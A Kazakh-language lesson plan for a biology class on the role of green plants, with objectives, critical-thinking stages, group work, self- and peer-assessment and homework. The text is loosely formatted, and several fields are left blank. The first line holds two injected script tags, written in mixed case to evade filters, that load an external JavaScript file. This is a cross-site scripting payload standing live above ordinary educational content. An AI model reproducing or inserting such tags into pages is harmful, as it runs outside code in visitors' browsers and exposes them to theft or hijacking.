<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Сабақ

жүргізген мұғалімнің аты-жөні

  Асылхан

Сайра

Оқушының саны - 7 

  апта

Сабақтың атауы

Жасыл

өсімдіктердің ғарыштық рөлі.

Сілтеме

Жалпы мақсаты

 Жасыл өсімдіктердің маңызын түсіндіру.

 Міндеттер:

тұрақтылығын

сақтау және атмосферада оттекті молайту, жерде топырақ түзілу әрекетіне

қатысу жолдарын үйрету.

Өз

пікірлерін ашық айту.

Өсімдікті

қорғауға тәрбиелеу.

Мұғалімдер үшін оқу

нәтижелері

1. Оқушылардың бірін-бірі

оқытуы арқылы аталған тақырыпты меңгеріп шығу;

2. Мұғалім оқуға бағыттап

отыру;

3. Оқушылардың өзін және

достарын бағалау мүмкіндіктерін жасау; 

4.

Сабақта  негізгі идеялар

1.Оқушының  өмірдегі біліміне, білетініне сүйену;

Тапсырмалар

Топтық жұмыста: 

1 сабақ. тақырыбы:

Белгіленуге

арналған түйінді сөздер:

Сабақтың жүрілуі

бойынша мұғалімнің жазбалары: Мұғалімдер мен оқушылар іс-әрекеті.

Оқушыларды ұйымдастыру, сәлемдесу 

/0,5 мин/

СТО сұрақтары

Сабақ барысында жасаған мұғалім мен оқушының іс-әрекеті

Сабақтың маңыздылығы не?

-оқушылар

не алады?

-бұрынғы

білімін қалай пайдалана алады?

-өмірден

алған тәжірибесінің әсері?

-сабақтың

болашақта  оқушыға қандай пайдасы бар?

-оқушыларды

ой қозғау арқылы тақырыпқа әкелу

-тақырып

жайлы бұрынғы білетіндер.

Қызығушылықтарын оятуға дайындық кезең

Қызығушылдығын ояту.

   Мұғалімнің көшбасшылығы оқушылардың

психологиялық ахуалымен танысу.                                «іздеу

саламыз»Тренинг өткізу. «Миға шабуыл»:

Өткен тақырыпты YouTubeден видео көрсету арқылы тест бере отырып ауызша

пысықтау.  

Сын тұрғысынан  ойлау үшін мүмкіндіктер

-еркін

ойлауға қандай мүмкіндіктер жасалды?

-өздігінен

ізденуге қандай мүмкіндіктер жасалады?

І.

Қызығушылығын ояту 

Қызығушылдығын ояту.

 Деңгейлік

тапсырма беру арқылы

жаңа сабақтың тақырыбын оқушылар ашады.

                 /6 мин+4 қмин/

Мағынаны

ажырату сатысы (жаңа ақпарат)

-оқушыларды белсене қатыстыру

-стратегияларды жүйелі қолдану   арқылы оқушылардың жұмысын ұйымдастыру

(сауал қоя білу, талдау жа-сай білу, баяндау және

қызу ой талқысын жасай білу қабілеттерін жетілдіру жолдарын беру)оқушылармен

бірлесіп жұмыс жасау, қарым-қатынас шеберлігін ұтымды пайдалана білу

-оқулықтан басқа ақпараттар көзін ашу

-әрі қарай 

не болатынына қызықтыру, белсенділіктерін ояту

-алатын білімінің пайдалылығына көздерін жеткізу

-білімін, ақпарат.

«Мағынаны ажырату»                                                      15

мин

І-топ. Жасыл

өсімдіктің маңызы  ІІ-топ.Оны

қорғау.  Қызметі Топпен талдап әр

топтан бір оқушы қорғайды. Тақырыпты

толықтыру үшін проблемалық сұрақтар қою. Ойларын толықтырады.  

Толғаныс

(рефлексия)

-сабақта үйренгендерін бекіту, қолдану жолдарын

беру

-жаңадан үйренгенін пайдалана отырып, білімін

жүйелеу

жауап шешімі осыған байланысты жұмыстар беру

арқылы түсінік деңгейін тексеру

ІІІ. Ой қорытынды

 Бекіту сабағы :

Бекіту кезеңі:  «Сызықты диктант»әдісі арқылы

Бағалау

түрлері

-     

оқушының өзін-өзі бағалауы;

-     

топтық өзін-өзі бағалауы;

-     

мұғалімнің бағалауы;

-     

жалпы бағалау;

-     

критерийлер арқылы бағалау

Бағалау:

/4мин/ Өзін-өзі және достарын бағалау парағы

Оқушының

аты-жөні____________________________________

-сабақты қалай аяқтауды жоспарлау

Тапсырмалар орындау арқылы

аяқтау

Сабақты аяқтау түрлері

-бір пікірге келу...

-өз пікірін

дәлелдеу...

-үйде жалғастыру...

  Үй тапсырмасы:  

Үй тапсырма: 

слайд құру